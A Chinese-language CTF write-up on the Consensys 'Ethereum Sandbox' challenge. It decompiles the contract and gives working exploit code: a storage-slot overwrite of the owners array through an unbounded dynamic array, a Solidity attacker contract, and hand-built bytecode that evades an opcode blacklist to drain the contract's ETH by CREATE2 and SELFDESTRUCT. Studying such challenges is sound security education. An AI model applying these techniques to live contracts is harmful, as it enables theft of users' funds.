基于samczsun的解析文章学习.Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约，合约名称叫做以太坊沙盒，其没有公开源代码，要求黑客们攻破该沙盒，拿出该合约中的所有ETH。

Consensys CTF - "以太坊沙盒"

基于samczsun的解析文章学习

分析原文：

本文都是基于https://samczsun.com/consensys-ctf-writeup/ 这篇文章进行的分析，如有需要可以参考原文。

问题描述：

Consensys在如下地址0x68cb858247ef5c4a0d0cde9d6f68dce93e49c02a部署了一个合约，合约名称叫做以太坊沙盒，其没有公开源代码，要求黑客们攻破该沙盒，拿出该合约中的所有ETH。

问题分析：

由于拿到的只是二进制代码，需要我们进行逆向得到solidity源码。故第一步是借助工具，将二进制代码翻译成可读的opcode代码和solidity代码。这里我们使用 https://contract-library.com/ 网站帮助分析。

将对应的地址传入该网站后，我们可以看到其是一个典型的solidity源码反编译后的结构，首先是函数选择区（针对public，external函数）如下。一共有4个函数。

if (0x25e7c27 == function_selector) {
    owners(uint256);
} else if (0x2918435f == function_selector) {
    0x2918435f();
} else if (0x4214352d == function_selector) {
    0x4214352d();
} else if (0x74e3fb3e == function_selector) {
    0x74e3fb3e();
}

再看到其的全局变量，一共有两个，分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256[]数组。

uint256[] array_0; // STORAGE[0x0]
uint256[] _owners; // STORAGE[0x1]

依次分析函数，找到我们感兴趣的部分，然后再深入调查该函数，看是否能够达到我们的目标——拿到该合约的所有ETH。

首先是函数1：0x4214352d

function 0x4214352d(uint256 varg0, uint256 varg1) public nonPayable { 
    require(msg.data.length - 4 >= 64);
    assert(varg1 < array_0.length);
    array_0[varg1] = varg0;
}
//翻译一下
function set_array(uint256 _value, uint256 _key) public {
	require(msg.data.length - 4 >= 64);
    assert(_key < array_0.length);
    array_0[_key] = _value;
}

可以看到该函数主要是对array_0进行赋值，在赋值前检查了两项：

• msg.data的长度减去4之后要大于64
  • msg.data = bytes4(函数签名) + bytes32(参数1) + bytes32(参数2)
  • 减去4的原因是函数签名的长度为4
• 要求key的值小于array的长度

再看函数2：0x74e3fb3e

function 0x74e3fb3e(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 < array_0.length);
    return array_0[varg0];
}
=>
function get_array(uint256 _key) public view returns (uint256) {
	require(msg.data.length - 4 >= 32);
	assert(_key < array_0.length);
	return array_0[_key];
}

与set_array函数类似

再看函数3：owners

function owners(uint256 varg0) public nonPayable { 
    require(msg.data.length - 4 >= 32);
    assert(varg0 < _owners.length);
    return address(_owners[varg0]);
}
=>
function owners(uint256 _key) public view returns (address) {
	require(msg.data.length - 4 >= 32);
	assert(_key < _owners.length);
	return address(_owners[_key]);
}

最后看函数4：0x2918435f

function 0x2918435f(address varg0) public payable { 
    require(msg.data.length - 4 >= 32);
    v0 = v1 = 0;
    v2 = v3 = 0;
    while (v2 < _owners.length) {
        assert(v2 < _owners.length);
        if (msg.sender == address(_owners[v2])) {
            v0 = v4 = 1;
        }
        v2 += 1;
    }
    require(v0);
    MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
    EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
    v5 = v6 = 0;
    while (v5 < varg0.code.size) {
        if (v5 < varg0.code.size) {
            break;
        }
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf100000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf200000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf400000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xfa00000000000000000000000000000000000000000000000000000000000000);
        assert(v5 < varg0.code.size);
        require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xff00000000000000000000000000000000000000000000000000000000000000);
        v5 += 1;
    }
    v7, v8 = varg0.delegatecall().gas(msg.gas);
    if (RETURNDATASIZE() != 0) {
        v9 = new bytes[](RETURNDATASIZE());
        v8 = v9.data;
        RETURNDATACOPY(v8, 0, RETURNDATASIZE());
    }
    require(v7);
}

可以看到函数4 0x2918435f比较复杂，简单分析函数4中有三层require：

1. 要求调用该函数的msg.data的长度，require(msg.data.length - 4 >= 32);与之前的函数中类似

2. 要求msg.sender是_owners中的一员，通过一个while循环来循环检查所有的Onwer中成员，看是否满足msg.sender==owner

   v0 = v1 = 0;
   v2 = v3 = 0;
   while (v2 < _owners.length) {
       assert(v2 < _owners.length);
       if (msg.sender == address(_owners[v2])) {
           v0 = v4 = 1;
       }
       v2 += 1;
   }
   require(v0);
   =>翻译一下：
   bool permit = false;
   uint256 i = 0;
   while (i < _owners.length) {
   	assert(i < _owners.length);
   	if (msg.sender == address(_owners[i])) {
   		permit = true;
   	}
   	i += 1;
   }
   require(permit);
   

   3.要求作为传入参数的地址addr，逐字节检查该参数地址对应的代码，要求其中不含有0xf0, 0xf1,0xf2,0xf4,0xfa, 0xff等字节。在黄皮书中这几个字节对应的分别是：create，call，callcode, delegatecall, staticcall, selfdestruct.

   这部分对应的代码比较复杂，我们将对比opcode，逐字翻译

   MEM[64] = MEM[64] + (varg0.code.size + 32 + 31 & ~0x1f);
   EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
   

   首先我们看黄皮书中关于EXTCODECOPY中的定义：

   ∀i∈{0…μs​[3]−1}:μm′​[μs​[1]+i]≡{b[μs​[2]+i]STOP​ifμs​[2]+i<∥b∥otherwise​
   KEC(b)≡σ[μs​[0]mod2160]c​

   可以看到EXTCODECOPY，拿4个参数，返回0个参数。简单解释是将栈里第0个元素-合约地址对应的代码段，设置偏移量为栈中第2个元素的值，拷贝的长度为栈里第3个元素对应的值，拷贝到的目的地为内存中栈里第1个元素对应的值的位置。

   MEM[64]	= MEM[64] + (addr.code.size + 32 + 31 & ~0x1f)
   EXTCODECOPY(varg0, MEM[64] + 32, 0, varg0.code.size);
   =>
   EXTCODECOPY(addr=varg0, memory_index=MEM[64]+32, offset=0, length=addr.code.size)
   =>
   bytes memory code;
   uint256 size;
   assembly {
   	code := mload(0x40) //0x40=64, code=0x80
   	size := extcodesize(addr)
   	mstore(0x40, add(code, and(not(0x1f), add(0x1f, add(0x20, size))))) //新的自由内存指针
   	mstore(code, size) //在0x80地方存储codesize
   	extcodecopy(addr,add(code, 0x20),0,addr.code.size) //把extcode全部拷贝到内存0xa0处
   }
   

   在看while循环：

   v5 = v6 = 0;
   while (v5 < varg0.code.size) {
       if (v5 < varg0.code.size) {
           break;
       }
       assert(v5 < varg0.code.size);
   =>
   uint256 i = 0;
   while (i < addr.code.size) {
   	assert(i < addr.code.size)
   }
   
   require(~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff & MEM[32 + MEM[64] + v5] >> 248 << 248 != 0xf000000000000000000000000000000000000000000000000000000000000000);
   =>
    ~0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff = 0x1100000000000000000000000000000000000000000000000000000000000000
   MEM[0x40] = 0x80
   0x80处存储的是code的size，长度为0x20；具体的代码从0x80+0x20处开始存储。
   MEM[0x20 + 0x80 + i] 实际读取的是MEM[0x20 + 0x80 + i: 0x20 + 0x80 + i + 0x20], 故先将这32位字节向右移动248bit，再向左移动248bit，即去掉最右侧248bit, 再和0x110000...取AND，最后得到的结果与0xf0...对比。
   实际效果是每一位都对比，不能等于0xf0,0xf1,0xf2等
   =>
   for (uint256 i=0; i < code.length; i++) {
   	require(code[i] != 0xf0);//Create
   	require(code[i] != 0xf1);//CALL
   	require(code[i] != 0xf2);//CALLCODE
   	require(code[i] != 0xf4);//DELEGATECALL
   	require(code[i] != 0xfa);//STATICCALL
   	require(code[i] != 0xff);//SELEFDESTRUCT	
   }
   

问题分析-1

简单看，我们需要调用函数4，0x2918435f 因为其含有delegatecall, 可以执行我们想要的代码来获取该合约所有的ETH。

但是其要满足三个条件，尤其是第二个条件限制了msg.sender必须是owner数组中的一员。故我们需要先把msg.sender 放到owner数组中。但是给定的函数中，并没有直接设置owner数组的，唯有一个设置array数组的函数：set_array(_key, _value). 故需要思考，能否通过set_array函数来改变owner数组中的值。

这里需要一个背景知识，即数组是如何再solidity中存储的。

在solidity中，动态数组在storage中存储模式为：

1. 动态数组声明处的slot_A存储的是该动态数组的长度
2. 动态数组中的每一个元素存储的位置是keccak256(slot_A)+i, 即动态数组事实上还是连续储存，但其第一个元素存储的位置是keccak256(slot_A)

故在本题目中，由于array的长度被设置为uint(-1), 故可以通过计算array[0]和owner[0]对应的storage key的差值，来通过set_array方法设置owner中的值。

# make alice the owner 
# array.length == uint(-1)
# array slot = 0, key0 = keccak256(0x00..00)
# array owner slot = 1, key1 = keccak256(0x00..01)
# delta = key1 - key0
# 通过设置array的偏移来设置owner中的值
# offset的值为delta
key0 = int("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563",16)
key1 = int("0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6",16)
delta = key1 - key0
ctf.setArray(alice.address,delta, {'from':alice})

也可以部署一个hacker.sol来实现该目的

contract Hacker {
    address public ctf01 = 0x68Cb858247ef5c4A0D0Cde9d6F68Dce93e49c02A;
    function step1() public {
        bytes32 key0 = keccak256(abi.encode(0x00));
        bytes32 key1 = keccak256(abi.encode(0x01));
        uint256 delta = uint256(key1) - uint256(key0);
        (bool success, ) = address(ctf01).call(abi.encodeWithSelector(0x4214352d, tx.origin, delta));
        require(success);
    }
}

问题分析-2

现在我们需要满足第三个条件，即构造一个合约，该合约对应的runtime code中不含有0xf0, 0xf1, 0xf2, 0xf4, 0xfa, 0xff等字节，因此需要我们手动来写合约，然后通过该sandbox的第四个函数来delegatecall该合约，从而清空sandbox中的ETH。

首先明确我们使用create2， 其为0xf5, 我们可以首先看下黄皮书中关于create2的定义

简单来说是先计算出要创建的合约的地址，然后执行要创建的合约的初始化代码，再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约，他的runtime code中执行一个create2函数，创建一个临时合约，并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约，该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtime code：

//tx.origin 这里的ORIGIN是payload，不应该被执行，故需要改为push1 0x32
//SELFDESTRUCT //构造payload, 因为SELFDESTRUCT是0xff，不能被使用，故可以通过ADD来绕道实现
push2 0x32fe // 0x32fe
push1 0x01 // 0x32fe 0x01
ADD // 0x32ff 
push1 0x40 //0x32ff 0x40
mstore //构造payload 0x40 -> 0x32ff， 
push1 00//Us[3] -> salt 盐
push1 0x04//Us[2] -> length 长度 4
push1 0x3e//us[1] -> offset 偏移值 -> 内存中0x40+0x20-0x2=0x3e
ADDRESS
BALANCE //Us[0] -> ETH数量->应该是该address(this)的所有ETH
create2
=>
6132fe60010160405260006004603e3031f5

在写该合约的初始化代码，可以用solidity写了，因为是我自己执行来部署该runtime code

contract HackCTF{
    constructor() public payable{
        assembly{
            mstore(0x00, 0x6132fe60010160405260006004603e3031f5)
            return(0x0e, 0x12)
        }
    }
}

然后部署HackCTF合约，在调用ctf中的第四个函数，将该合约的地址作为参数传进去即可

hacker = HackCTF.deploy({"from":alice})
ctf.hack(hacker, {'from':alice})
print(alice.balance())

• 发表于 8小时前
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• 分类：智能合约